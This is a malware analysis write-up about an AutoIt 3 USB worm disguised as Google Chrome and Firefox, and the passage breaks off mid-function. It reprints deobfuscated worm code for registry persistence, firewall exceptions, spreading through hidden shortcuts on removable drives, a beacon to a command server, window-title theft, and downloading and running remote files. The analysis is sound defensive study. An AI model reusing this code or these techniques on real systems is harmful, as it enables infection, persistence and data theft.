0. Origin of the Story
I found a USB at home. And I have no clue about it contains what. I plugged it to computer and I notice a folder named as "MozillaFirefox". I was sure about it wasn't a real Firefox edition however I didn't know what is it. After opening the "MozillaFirefox" folder, I found a suspicious EXE and a bunch of LNK files. And quickly realized it is a malware especially recognizing AutoIt 3 icon on top the EXE.
1. Decompiling
Visual basic script and similar languages like it doesn't have true compiling state, they are mostly only obfuscating and convert them a basic binary format. After grabbing a AutoIt 3 decompiler, you can easily convert to source code however those obfuscations will stay as persistent. The source code that we get also have AutoIt 3 headers, which are not related with directly malware.
2. Preparation
2.1. Getting AutoIt 3
Since AutoIt 3 runtime embeds the version into metadata, it's very easy to learn. Our malware is using 3.3.8.1th version of AutoIt 3. It's important since malware not having file write operations. If we want to proxy them and log into a file, we will need correct headers with the malware. I don't want to fix conflicts of a malware.
Also a good notice, AutoIt3.exe from 3.3.8.1 has same file with GoogleChrome.exe. So the malware is abusing the signed AutoIt 3 runtime to run it. And the malware is only dependent to GoogleChrome.a3x file.
2.2 Basic AutoIt 3 Syntax
-
;is command block -
$varis used for variables -
#includeto include external AutoIt 3 scripts -
=is assignment and equal operator same time -
<>is not equal operator -
&is concat operator -
Func..EndFuncis function definition -
If...Then...EndIfis if operator -
While..WEndis while loop -
@AUTOIT_CONSTis consts from AutoIt 3 runtime -
Global/Localis setting the scope of variable -
@erroris for handling errors
3. Dynamic Analysis
Before removing the obfuscation we can run the script with function proxies and log the functions what does.
I named the decompiled file as GoogleChrome_debug.au3 and moved it into same directory which placed GoogleChrome.a3x.
Firstly we need to open a log file and create a logging function.
#include <C:\Program Files (x86)\AutoIt3\Include\FileConstants.au3>
Local $logDir = "C:\logs\"
If Not FileExists($logDir) Then
DirCreate($logDir)
EndIf
Global $logFile = FileOpen($logDir & "Wolf_" & @AutoItPID & "_" & WolfRandomString(8) & ".log", $FO_APPEND)
Func WolfHowl($info)
FileWrite($logFile, $info & @CRLF & @CRLF & @CRLF & "-------------------------------------------" & @CRLF)
EndFunc
Func WolfRandomString($length)
Local $chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
Local $result = ""
For $i = 1 To $length
$result &= StringMid($chars, Random(1, StringLen($chars), 1), 1)
Next
Return $result
EndFunc
WolfHowl("Started")
We created a C:/logs folder (if not exist) and open a log file which named as Wolf_$PID_$random.log. And also created a logging function named as WolfHowl to make easier the write process in proxy part.
Func WolfShellExecute($file, $params, $workdir, $verb, $shown)
WolfHowl("ShellExecute" & @CRLF & ">" & $file & @CRLF & ">" & $params & @CRLF & ">" & $workdir & @CRLF & ">" & $verb & @CRLF & ">" & $shown);
Return ShellExecute($file, StringReplace($params, ".a3x", "_debug.au3"), $workdir, $verb, $shown)
EndFunc
Func WolfInetGet($url, $file, $options, $bg)
WolfHowl("InetGet" & @CRLF & ">" & $url & @CRLF & ">" & $file & @CRLF & ">" & $options & @CRLF & ">" & $bg);
EndFunc
Func WolfRegDelete($key, $val)
WolfHowl("RegDelete" & @CRLF & ">" & $key & @CRLF & ">" & $val);
EndFunc
Func WolfTCPSend($sock, $data)
WolfHowl("TCPSend" & @CRLF & ">" & $sock & @CRLF & ">" & $data);
EndFunc
Func WolfRegRead($key, $val)
$res = RegRead($key, $val)
WolfHowl("RegRead" & @CRLF & ">" & $key & @CRLF & ">" & $val & @CRLF & "::-> " & $res);
Return $res
EndFunc
Func WolfRegWrite($k, $vn, $t, $v)
WolfHowl("RegWrite" & @CRLF & ">" & $k & @CRLF & ">" & $vn & @CRLF & ">" & $t & @CRLF & ">" & $v);
Return RegWrite($k, StringReplace($vn, ".a3x", "_debug.au3"), StringReplace($t, ".a3x", "_debug.au3"), StringReplace($v, ".a3x", "_debug.au3"))
EndFunc
Func WolfFileExists($file)
$res = FileExists($file)
WolfHowl("FileExists" & @CRLF & ">" & $file & @CRLF & "::-> " & $res);
;Return False
Return $res
EndFunc
Func WolfTCPNameToIP($name)
WolfHowl("TCPNameToIP" & @CRLF & ">" & $name);
Return "127.0.0.1"
;Return TCPNameToIP($name)
EndFunc
Func WolfFileCreateShortcut($f, $l, $w, $a, $d = "", $i = "", $h = "", $in = "", $s = "")
WolfHowl("FileCreateShortcut" & @CRLF & ">" & $f & @CRLF & ">" & $l & @CRLF & ">" & $w & @CRLF & ">" & $a & @CRLF & ">" & $d & @CRLF & ">" & $i & @CRLF & ">" & $h & @CRLF & ">" & $in & @CRLF & ">" & $s);
Return FileCreateShortcut(
StringReplace($f, ".a3x", "_debug.au3"),
StringReplace($l, ".a3x", "_debug.au3"),
StringReplace($w, ".a3x", "_debug.au3"),
StringReplace($a, ".a3x", "_debug.au3"),
$d, $i, $h, $in, $s
)
EndFunc
Func WolfEnvSet($env, $v = "")
WolfHowl("EnvSet" & @CRLF & ">" & $env & @CRLF & ">" & $v);
Return EnvSet($env, $v)
EndFunc
Func WolfWinGetTitle($title, $text = "")
$res = WinGetTitle($title, $text)
WolfHowl("WinGetTitle" & @CRLF & ">" & $title & @CRLF & ">" & $text & @CRLF & "::-> " & $res);
Return $res
EndFunc
Func WolfDirCopy($src, $dest, $f)
WolfHowl("DirCopy" & @CRLF & ">" & $src & @CRLF & ">" & $dest & @CRLF & "> " & $f);
DirCopy($src, $dest, $f)
EndFunc
Func WolfDirCreate($path)
WolfHowl("DirCreate" & @CRLF & ">" & $path);
DirCreate($path)
EndFunc
Func WolfFileSetAttrib($file, $flag, $recursive = 0)
WolfHowl("FileSetAttrib" & @CRLF & ">" & $file & @CRLF & ">" & $flag & @CRLF & "> " & $recursive);
FileSetAttrib($file, $flag, $recursive)
EndFunc
Func WolfTCPConnect($ip, $port)
WolfHowl("TCPConnect" & @CRLF & ">" & $ip & @CRLF & ">" & $port);
Return TCPConnect($ip, $port)
EndFunc
In the proxy part you will see StringReplace($var, ".a3x", "_debug.au3"). It's one of core part of proxy. Since the process runs itself, we need to that to observe logs. If it runs unproxied version, we will not get full of logs that might be very important to us. Also in WolfTCPNameToIP, I don't resolve the address correctly to prevent calling home. I just resolved it as 127.0.0.1 instead of.
After we started the program and gets logs, we have same good information what it does.
DirCopy
DirCopy("@ScriptDir", "C:\GoogleChrome", 1);DirCopy("C:\GoogleChrome", "c:\MozillaFirefox", 1);
It copies the script directory into C:\GoogleChrome and copies the C:\GoogleChrome to c:\MozillaFirefox. The virus is gaining persistency with that.
EnvSet(SEE_MASK_NOZONECHECKS, 1)
It disables the security warning for the files that comes from third sources. Probably to prevent the warning to prevent a downloaded file by running ShellExecute.
ShellExecute("netsh" "firewall add allowedprogram ""C:\GoogleChrome\GoogleChrome.exe"" ""GoogleChrome.exe"" ENABLE", "", "", 0)
It gives a firewall exception, so the application can call home without caught by firewall.
FileCreateShortcut
It creates shortcuts into the startup folder (C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\) and folders that placed in root of drives.
By creating startup folder shortcuts, the malware gains persistency in the system.
TCPNameToIP("googleads[.]publicvm[.]com")
It's probably home address, since we resolved it to 127.0.0.1. We can track the malware what will do with the address.
TCPConnect("127.0.0.1", 224)
It tries opening a socket that uses 224 port. I we can understand the malware tries to connect hxxp://googleads[.]publicvm[.]com:224/. It's probably the command-and-control (C&C) server of malware. And tries hide itself like a legit Google ad server.
TCPSend(-1, "lv0LIONW0Zeus_44ED3C4A0LIONW0DESKTOP-KT50SE00LIONW0redwolf0LIONW00LIONW0WIN_8 X640LIONW00.3x Usb0LIONW0No-AntiVirus0LIONW0")
And it sending a data to C&C server. When we look at the string we can find a pattern that repeats, the 0LIONW0.
When you use the 0LIONW0 as delimiter, you will get ["lv", "Zeus_44ED3C4A", "DESKTOP-KT50SE0", "redwolf", "", "WIN_8 X64", "0.3x Usb", "No-AntiVirus", ""] array.
-
lv,Zeus_44EF3C4A,0.3x Usbis not much meaningful from this perspective however.0.3might be version number,Usbmight stands for spreading way. Also the44EF3C4Alooks like a hex data, it mights stands for unique id for tracking. But we need to deep-dive source code to find exactly what it means. -
redwolf, is username of the sandbox. -
WIN8 x64, Windows version and the Arch version. (Since the AutoIt version released before Windows 10, it detects as Windows 8 probably) -
DESKTOP-KT50SE0, is device name. -
No-AntiVirus, I think it's self explanatory.
RegWrite
Probably for persistency. When the programs updates, probably runs this commands.
RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run", "JavaUpdate", "REG_SZ", "C:\GoogleChrome\GoogleUpdate.lnk")RegWrite("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run", "AdopeUpdate", "REG_SZ", "C:\GoogleChrome\GoogleUpdate.lnk")RegWrite("HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run", "NewJavaInstall", "REG_SZ", "C:\GoogleChrome\GoogleChrome.exe /AutoIt3ExecuteScript C:\GoogleChrome\GoogleChrome.a3x")RegWrite("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run", "AdopeFlash", "REG_SZ", "C:\GoogleChrome\GoogleChrome.exe /AutoIt3ExecuteScript C:\GoogleChrome\GoogleChrome.a3x")
FileSetAttrib($path, "+RSH", 0)
It changes folders attributes with Read-only, System and Hidden. It's for stay hidden even checked Show Hidden Files. Those folders will stay until uncheck Hide Protected Operating System Files (Recommended).
FileSetAttrib("C:\GoogleChrome", "+RSH", 0)FileSetAttrib("c:\MozillaFirefox", "+RSH", 0)
RegWrite("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced", "ShowSuperHidden", REG_DWORD, 0)
It's also again a RegWrite call. However the purpose is too different, so I grouped it different. It checks Hide Protected Operating System Files (Recommended) programmatically, so the paths will be stay hidden even user unchecks the checkbox.
4. Static Analysis
#NoTrayIcon
#Region
#AutoIt3Wrapper_Outfile_type=a3x
#AutoIt3Wrapper_Icon=C:\Users\xShandow\Desktop\Google-Chrome-Google-Chrome.ico
#EndRegion
#NoTrayIcon
The malware probably compiled a xShandow named user. And it tried using fake Google Chrome icon however somehow mess that and the malware is using default AutoIt 3 logo. Because of the executable also taken from official runtime, not even tried to compile or change resources. Also it's using #NoTrayIcon to hide tray symbol of AutoIt 3. But using that two times how helps I don't know.
Local $VRSRBTSPLNIRTCY = "Zeus"
$VRSRBTSPLNIRTCY &= "_" & Hex(DriveGetSerial(@HomeDrive))
&=operator is not a logic operator. In AutoIt3, it's used as string concatenation function
Did the Zeus remind something? It's origin of Zeus_44EF3C4A. So 44EF3C4A is our home drive serial as encoded in hex.
Also I will alias $VRSRBTSPLNIRTCY as $Zeus_drive_serial.
Global $DRJIEUIAOKSOTRF = "0.3x"
If FileExists("C:\GoogleChrome/MozillaFirefox.lnk") Then
$DRJIEUIAOKSOTRF = "0.3x Usb"
EndIf
Also you should remember the 0.3x Usb in TCPSend. Usb part probably for reporting the malware persistence.
I will alias $DRJIEUIAOKSOTRF as $03xUsb.
$SMHPXZJFTZGXFVV = "0LIONW0"
And the delimiter found here.
If @ScriptDir <> "C:\GoogleChrome" Then
If "vbs" = "exe" Then
; Dead Code, I skipped
Else
DirCopy(@ScriptDir, "C:\GoogleChrome", 1)
ShellExecute("C:\GoogleChrome\GoogleChrome.exe", "/AutoIt3ExecuteScript C:\GoogleChrome\GoogleChrome.a3x", "", "", @SW_HIDE)
ShellExecute("cmd.exe", "/c start C:\GoogleChrome/GoogleChrome.exe C:\GoogleChrome/GoogleChrome.a3x", "", @SW_HIDE)
EndIf
FileSetAttrib("C:\GoogleChrome", "+RSH")
Exit
EndIf
It's copying the malware directory into C:/GoogleChrome if already not working there. Starts two copy of itself, and hides the malware directory as System file (like we found the analysis). Then exits.
JOBGBZLZCREXIWE() ; SetEnvNFirewall()
Func CYNFMPPBRAWIIOK()
EnvSet("SEE_MASK_NOZONECHECKS", "1")
ShellExecute("netsh", "firewall add allowedprogram ""C:\Program Files (x86)\AutoIt3\AutoIt3.exe"" ""GoogleChrome.exe"" ENABLE")
EndFunc
It's sets the SEE_MASK_NOZONECHECKS as 1 and adds a firewall exception for the malware and AutoIt 3 executable.
I will alias JOBGBZLZCREXIWE as SetEnvNFirewall.
CYNFMPPBRAWIIOK() ; RegWriteAndStartupShortcuts()
Func CYNFMPPBRAWIIOK()
If RegRead("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run", "Google Chrome") <> @ScriptDir & "\WindowsUpdate.lnk" Then
RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run", "Google Chrome", "REG_SZ", @ScriptDir & "\WindowsUpdate.lnk")
EndIf
If RegRead("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run", "Google Chrome") <> @ScriptDir & "\WindowsUpdate.lnk" Then
RegWrite("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run", "Google Chrome", "REG_SZ", @ScriptDir & "\WindowsUpdate.lnk")
EndIf
If RegRead("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run", "JavaUpdate") <> @ScriptDir & "\WindowsUpdate.lnk" Then
RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run", "JavaUpdate", "REG_SZ", @ScriptDir & "\GoogleUpdate.lnk")
EndIf
If RegRead("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run", "AdopeUpdate") <> @ScriptDir & "\WindowsUpdate.lnk" Then
RegWrite("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run", "AdopeUpdate", "REG_SZ", @ScriptDir & "\GoogleUpdate.lnk")
EndIf
If RegRead("HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run", "NewJavaInstall") <> @ScriptDir & "\WindowsUpdate.lnk" Then
RegWrite("HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run", "NewJavaInstall", "REG_SZ", @ScriptDir & "\GoogleChrome.exe /AutoIt3ExecuteScript " & @ScriptDir & "\GoogleChrome.a3x")
EndIf
If RegRead("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run", "AdopeFlash") <> @ScriptDir & "\WindowsUpdate.lnk" Then
RegWrite("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run", "AdopeFlash", "REG_SZ", @ScriptDir & "\GoogleChrome.exe /AutoIt3ExecuteScript " & @ScriptDir & "\GoogleChrome.a3x")
EndIf
If FileExists(@StartupCommonDir & "\WindowsUpdate.lnk") = False Then
FileCreateShortcut("cmd.exe", @StartupCommonDir & "\Google Chrome.lnk", "", "/c start " & @ScriptDir & "\GoogleChrome.exe " & @ScriptDir & "\GoogleChrome.a3x & exit")
EndIf
If FileExists(@StartupCommonDir & "\GoogleUpdate.lnk") = False Then
FileCreateShortcut(@ScriptDir & "\GoogleChrome.exe", @StartupCommonDir & "\GoogleUpdate.lnk", "", "/AutoIt3ExecuteScript " & @ScriptDir & "\GoogleChrome.exe " & @ScriptDir & "\GoogleChrome.a3x")
EndIf
EndFunc
It's creating the RegWrite calls and creates start-up folder shortcuts here. However since half of checks RegRead and FileExists checks different key or path instead of that is actually changing, the conditions always fail and write or create them again when every time the function called.
I will alias CYNFMPPBRAWIIOK as RegWriteAndStartupShortcuts
BXTXSVPWSNIXJEB() ; AddScriptDirShortcuts()
Func BXTXSVPWSNIXJEB()
If FileExists(@ScriptDir & "\WindowsUpdate.lnk") = False Then
FileCreateShortcut("cmd.exe", @ScriptDir & "\WindowsUpdate.lnk", "", "/c start " & @ScriptDir & "\GoogleChrome.exe " & @ScriptDir & "\GoogleChrome.a3x & exit")
EndIf
If FileExists(@ScriptDir & "\GoogleUpdate.lnk") = False Then
FileCreateShortcut(@ScriptDir & "\GoogleChrome.exe", @ScriptDir & "\GoogleUpdate.lnk", "", "/AutoIt3ExecuteScript C:\Users\redwolf\Desktop\GoogleChrome.a3x")
EndIf
EndFunc
It's creating GoogleChrome & WindowsUpdate shortcuts for @ScriptDir.
I will alias BXTXSVPWSNIXJEB as AddScriptDirShortcuts
QHTAJWUVOFPNRCA("ALL") ; AddShortcutsNHideSystemFiles()
QHTAJWUVOFPNRCA($UPJTUGAXAUXFQDY = "REMOVABLE");
Function definition is important. When the function called without parameter, it will runs for removable devices.
- It runs
RegWrite("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced", "ShowSuperHidden", REG_DWORD, 0)to hide System files hidden. -
$VMOWJBGXRMCIZPC = DriveGetDrive($UPJTUGAXAUXFQDY), it get list of all or removable drives (dependent to$UPJTUGAXAUXFQDYparameter)In AutoIt 3, when a internal function returns array, mostly returns in a format like
[$array_size=n, $param_1, ..., $param_n]. Also this rule applies toDriveGetDrive. -
And the function starts to iterate by using
$JLVHCYFDDTVCTZJvariable.-
$VMOWJBGXRMCIZPC[$JLVHCYFDDTVCTZJ]is letter of the drive, likeC:,D:etc. I will assign it to$drivevariable to make everything more readable. -
DriveStatus($drive) = "READY", checks the status of drive. -
DriveSpaceFree($drive) > 10, And checks storage has more capacity than 10 MB. -
If FileExists($drive & "\MozillaFirefox") = 0 Then FileDelete($drive & "\MozillaFirefox"), it deletesMozillaFirefoxfolder that placed in drives root (if exist). -
DirCopy(@ScriptDir, $drive & "\MozillaFirefox", 1), then it copies the script folder toMozillaFirefoxfolder. -
FileSetAttrib($drive & "\MozillaFirefox", "+RSH"), it setsMozillaFirefoxfolder as Read-only, System and Hidden. - Ands starts iterate for every file in root of drive by using
FileFindFirstFileandFileFindNextFile. Iterator is$QQYEAOZDVRDISHXhowever i will call it as$folderfor readability.- Checks is it folder by using
StringInStr(FileGetAttrib(...), "D")and also checks the folder name is not equal to.and... - Creates two malicious shortcuts for every folder in the drive
FileCreateShortcut("cmd.exe", $drive & "\" & $folder & "\" & $folder, "", "/c start ..\MozillaFirefox\GoogleChrome.exe /AutoIt3ExecuteScript ..\MozillaFirefox\GoogleChrome.a3x explorer ChrW(4+33) & ChrW(95-28) & ChrW(97-29) & ChrW(6+31) & exit", "%windir%\system32\SHELL32.dll", "", 3, @SW_SHOWMINNOACTIVE)FileCreateShortcut("cmd.exe", $drive & "\" & $folder & "\My Music", "", "/c start ..\MozillaFirefox\GoogleChrome.exe /AutoIt3ExecuteScript ..\MozillaFirefox\GoogleChrome.a3x explorer ChrW(4+33) & ChrW(95-28) & ChrW(97-29) & ChrW(6+31) & exit", "%windir%\system32\SHELL32.dll", "", 3, @SW_SHOWMINNOACTIVE)
-
Sleep(40), Sleeps 40 ms. Probably for avoiding high CPU/Disk usage.
- Checks is it folder by using
-
It's core logic for spreading device to device. It's using removable drives as jump table, and spreads by running the shortcut file. Also that's explaining why I found the virus in a folder named as MozillaFirefox that placed on root of the USB.
explorer ChrW(4+33) & ChrW(95-28) & ChrW(97-29) & ChrW(6+31) pattern is basically explorer %CD%. The patterns that given as a parameter to malware, might shows the malware was wanting to execute commands from command line parameters. However the malware don't have any mechanism for that.
But since the command run via cmd.exe, the & symbol was handled by cmd.exe and won't passed to application. So probably the malware might expected to have /c start ..\MozillaFirefox\GoogleChrome.exe /AutoIt3ExecuteScript ..\MozillaFirefox\GoogleChrome.a3x & explorer %cd% parameter to open explorer and behave like normal folder shortcut. However those of all is just assumptions and the shortcuts are badly formatted. So they just trigger the executable.
I will alias the QHTAJWUVOFPNRCA as AddShortcutsNHideSystemFiles.
Also you can remember we found most of that already in static analysis section. Time is solving what we cannot find in dynamic analysis.
JTKCXJWJGPEWDWJ() ; AddMyFolders()
It has a lot of similar parts to AddShortcutsNHideSystemFiles (aka QHTAJWUVOFPNRCA).
-
$RVHWXRAJIWSBONA = DriveGetDrive("REMOVABLE"), it gets a list of removable drives -
And the function starts to iterate by using
$UYQCHVSHUXEVFXDvariable.-
$RVHWXRAJIWSBONA[$UYQCHVSHUXEVFXD]is letter of the drive, likeC:,D:etc. I will assign it to$drivevariable to make everything more readable. -
DriveStatus($drive) = "READY", checks the status of drive. -
DriveSpaceFree($drive) > 1024, And checks storage has more capacity than 1024 MB. -
DirCopy(@ScriptDir, $drive & "\MozillaFirefox", 1), it copies the script folder toMozillaFirefoxfolder. -
FileSetAttrib($drive & "\MozillaFirefox", "+RSH"), it setsMozillaFirefoxfolder as Read-only, System and Hidden. - Creates two shortcuts named as
DocumentsandDownloadsto root of device.FileCreateShortcut("cmd.exe", $drive & "\Documents", "", "/c start MozillaFirefox\GoogleChrome.exe /AutoIt3ExecuteScript ..\MozillaFirefox\GoogleChrome.a3x explorer ChrW(4+33) & ChrW(95-28) & ChrW(97-29) & ChrW(6+31) & exit", "", "%windir%\system32\SHELL32.dll", "", 3, @SW_SHOWMINNOACTIVE)FileCreateShortcut("cmd.exe", $drive & "\Downloads", "", "/c start MozillaFirefox\GoogleChrome.exe /AutoIt3ExecuteScript ..\MozillaFirefox\GoogleChrome.a3x explorer ChrW(4+33) & ChrW(95-28) & ChrW(97-29) & ChrW(6+31) & exit", "", "%windir%\system32\SHELL32.dll", "", 3, @SW_SHOWMINNOACTIVE)
- If
$drive & "\My Games"folder not exist, it creates a directory at$drive & "\My Games". - If
$drive & "\My Pictures"folder not exist, it creates a directory at$drive & "\My Games". There's no typo. Probably malware author forget to change folder name, it shows the quality of the malware. - If
$drive & "\My Videos"folder not exist, it creates a directory at$drive & "\My Videos". - If
$drive & "\My Movies"folder not exist, it creates a directory at$drive & "\My Movies"andERQSAKPMOAIZNXP("MSG0LIONW0 Spreading !!");. - Then calls
AddShortcutsNHideSystemFiles(akaQHTAJWUVOFPNRCA) (with default"REMOVABLE"parameter).
-
I will alias the JTKCXJWJGPEWDWJ as AddMyFolders.
Global $YLZDSLGVNMGLHEL = "googleads[.]publicvm[.]com"
Global $TMDVEICCZCVSTZO = 224
Global $JDSQSBWWYOBBUNS = -1 ; $TCP_Socket
Global $VLKUJUBFNIMZXZY = 0; ; $TCP_Connection_State
Func FGHHVXEASQLUIKK() ; ResolveAddressAndConnect()
$VLKUJUBFNIMZXZY = 0
TCPCloseSocket($JDSQSBWWYOBBUNS)
TCPShutdown()
TCPStartup()
$JDSQSBWWYOBBUNS = -1
$JDSQSBWWYOBBUNS = TCPConnect(TCPNameToIP($YLZDSLGVNMGLHEL), $TMDVEICCZCVSTZO)
$VLKUJUBFNIMZXZY = 0
EndFunc
It tries to connect C&C server here like we find at dynamic analysis.
I will alias $JDSQSBWWYOBBUNS as $TCP_Socket and $VLKUJUBFNIMZXZY as $TCP_Connection_State for readability. And alias the function FGHHVXEASQLUIKK as ResolveAddressAndConnect.
Func ERQSAKPMOAIZNXP($OPGATNEJQLBURNA) ; DataReport($data)
$OPGATNEJQLBURNA = StringReplace($OPGATNEJQLBURNA, @CRLF, "|")
TCPSend($TCP_Socket, $OPGATNEJQLBURNA & @CRLF)
If @error Then
$TCP_Connection_State = 1
Return 0
Else
Return 1
EndIf
EndFunc
It's a data reporter function to C&C server, it gets the $OPGATNEJQLBURNA parameter and replaces CRLF with "|" and sends via the socket.
I will alias the function ERQSAKPMOAIZNXP as DataReport.
And we have learned what happens by ERQSAKPMOAIZNXP("MSG0LIONW0 Spreading !!"); function call. When the virus infects a new removable drive, it calls home and reports that.
And fun fact, ERQSAKPMOAIZNXP("MSG0LIONW0 Spreading !!"); can be run before the socket opening. If you boot your computer with removable device attached or first run of the malware, AddMyFolders will be run before first ResolveAddressAndConnect call. So, it will always fail in those situations.
Func RKCGDIKLHXBSMSW() ; GetCommandFromCNC()
If $TCP_Socket < 1 Then
$TCP_Connection_State = 1
Return -1
EndIf
$TWZCNPRQZYRMAHS = TCPRecv($TCP_Socket, 1024, 0)
If @error Then
$TCP_Connection_State = 1
Return -1
EndIf
; Dead code elimination, some concat and string operations however none of them used really
If StringInStr($TWZCNPRQZYRMAHS, @CRLF) Then
Return $TWZCNPRQZYRMAHS
EndIf
Return ""
EndFunc
It's basically checks socket and receive command from C&C server. If the answer $TWZCNPRQZYRMAHS has @CRLF in it, returns with the answer. If not, returns with "". And you should notice, if it encounter with an error, returns with -1.
I will alias the function RKCGDIKLHXBSMSW as GetCommandFromCNC.
If _Singleton("GoogleChrome.exe", 1) = 0 Then
Exit
EndIf
And it uses singleton here, probably prevent starting multiple instance and opening multiple socket with C&C server.
Func AV() ; The only function that I will not alias to something probably in this Writeup
Local $AVNAME
If @OSVersion = "WIN_XP" Then
$OWMI = ObjGet("winmgmts:\\localhost\root\SecurityCenter")
Else
$OWMI = ObjGet("winmgmts:\\localhost\root\SecurityCenter2")
EndIf
$COLITEMS = $OWMI.ExecQuery("Select * from AntiVirusProduct")
For $OBJANTIVIRUSPRODUCT In $COLITEMS
$AVNAME = $OBJANTIVIRUSPRODUCT.displayName
Next
If $AVNAME = False Then
Return "No-AntiVirus"
Else
Return $AVNAME
EndIf
EndFunc
It's self explanatory, it iterates SecurityCenter entries and returns last anti-virus provider. If an anti-virus not exist, returns No-AntiVirus. Also did you remember No-AntiVirus entry, we found it in static analysis.
Func XFNYFKEFWEQHZMH() ; BrokenUninstall()
DataReport("MSG0LIONW0 Uninstall !!")
RegDelete("HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run", "Google Chrome")
RegDelete("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run", "Google Chrome")
RegDelete("HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run", "JavaUpdate")
RegDelete("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run", "AdopeUpdate")
RegDelete("HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run", "NewJavaInstall")
RegDelete("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run", "AdopeFlash")
ShellExecute("netsh", "firewall delete allowedprogram " & @AutoItExe, "", "", @SW_HIDE)
ShellExecute(@ComSpec, "/k ping 0 & del " & @AutoItExe & " & exit", "", "", @SW_HIDE)
Exit
EndFunc
Whoa, did we find a uninstall function in this malware? Cool! However did you not expect it is well working, right? It only deletes the the regedit keys, the malware that placed C:\GoogleChrome\GoogleChrome.exe, removes the firewall exception. And remove itself. The shortcuts and C:\MozillaFirefox still exist and can the malware spread it again.
But i liked the way to remove executable, it starts a cmd.exe and ping 0 to sleep the malware exits while ping is sending then cmd.exe removes by del @AutoItExe part.
Also it's sending MSG0LIONW0 Uninstall !!" message to server.
$ZKXUZCJNQFHAJKU = 4 ; $counter_to_spread
$BJLTKXJDEYWQECD = 0 ; $counter_to_steal
$SSPGCTZBCDDBOHR = "" ; $last_window_title
While 1
We have a bunch of variables and we are going into the main loop.
$counter_to_spread += 1
If $counter_to_spread = 5 Then
$counter_to_spread = 0
RegWriteAndStartupShortcuts()
AddMyFolders()
EndIf
It have basically (++counter_to_spread%5 == 0) condition and triggers the functions to spread removable devices and sure the malware is still persistent.
$EWFVJGZMZAZBQSC = GetCommandFromCNC() ; $CNC_command
It gets command from C&C to process.
Select
Case $CNC_command = -1 Or $TCP_Connection_State = 1
Sleep(3000)
ResolveAddressAndConnect()
DataReport("lv0LIONW0" & $Zeus_drive_serial & "0LIONW0" & @ComputerName & "0LIONW0" & @UserName & "0LIONW0" & "0LIONW0" & @OSVersion & " " & @OSArch & "0LIONW0" & $03xUsb & "0LIONW0" & AV() & "0LIONW0")
It checks the status of socket. And if connection not initialized or terminated, it is trying to start connection here and report the computer information. That we found already in static analysis. Also the Sleep call probably to prevent triggering an anti-virus and keep hidden in other network requests.
Also it's the only call of ResolveAddressAndConnect function in the malware. The all previous DataReport calls will always fail cause from that.
Case $CNC_command = ""
$counter_to_steal += 1
Sleep(1000)
If $counter_to_steal = 8 Then
$counter_to_steal = 0
$CALKNAYQNVAYKLR = WinGetTitle("")
If $CALKNAYQNVAYKLR <> $last_window_title Then
DataReport("ac0LIONW0" & $CALKNAYQNVAYKLR)
EndIf
$last_window_title = $CALKNAYQNVAYKLR
$CALKNAYQNVAYKLR = ""
EndIf
If socket connected successfully, it will capture current window title via WinGetTitle("") in every 8 seconds. If the current title is not equal to previous title, it will reported via DataReport.
Case $CNC_command <> ""
$XOHRZSTRJNJQZYB = StringSplit($CNC_command, "0LIONW0", 1) ; $CNC_command_list
If $CNC_command is not equal to "", it tries to split using the delimiter and assign to $CNC_command_list.
Note:
StringSplitis also using AutoIt 3 Array returning format.
If $CNC_command_list[0] > 0 Then
$CNC_command_list size check is too comic. It checks only longer than is it bigger than 0 or not. However we are already checked it is not empty, so it always bigger than 0. Also not properly checks size. $CNC_command_list[2] would malware crash if server send faulty data. Never mind, I am too thinking about this malware.
Select
Case $CNC_command_list[1] = "DL"
InetGet($CNC_command_list[2], @TempDir & "\" & $CNC_command_list[3], 1)
If FileExists(@TempDir & "\" & $CNC_command_list[3]) Then
ShellExecute("cmd.exe", "/c start %temp%\" & $CNC_command_list[3], "", "", @SW_HIDE)
DataReport("MSG0LIONW0Executed As " & $CNC_command_list[3])
Else
DataReport("MSG0LIONW0Download ERR")
EndIf
It checks first parameter is equal to DL. DL mostly stands for download keyword. And it's explaining what does exactly. It download second parameter to %TEMP% using third parameter as filename.
If the file exists in the %TEMP% directory, it tries to run via ShellExecute. And lastly sends information to C&C server about execution state (run or corrupted). Also this mode might be show the malware have a second part which distributed via C&C to keep avoid from anti-virus scans. But we can never able to learn that.
Also it is the part of we understand the malware isn't just a basic worm or info-stealer. It can run arbitrary code on infected computer.
Probably the syntax is looking like DL0LIONW0$url0LIONW0file_name to trigger that situation.
Case $CNC_command_list[1] = "un"
BrokenUninstall()
If it gets just un command, it triggers broken uninstaller function. Also you probably guessed the un keyword is just standing uninstall.
Case $CNC_command_list[1] = "cmd"
If ShellExecute("cmd.exe", $CNC_command_list[2], "", "", @SW_HIDE) = 1 Then
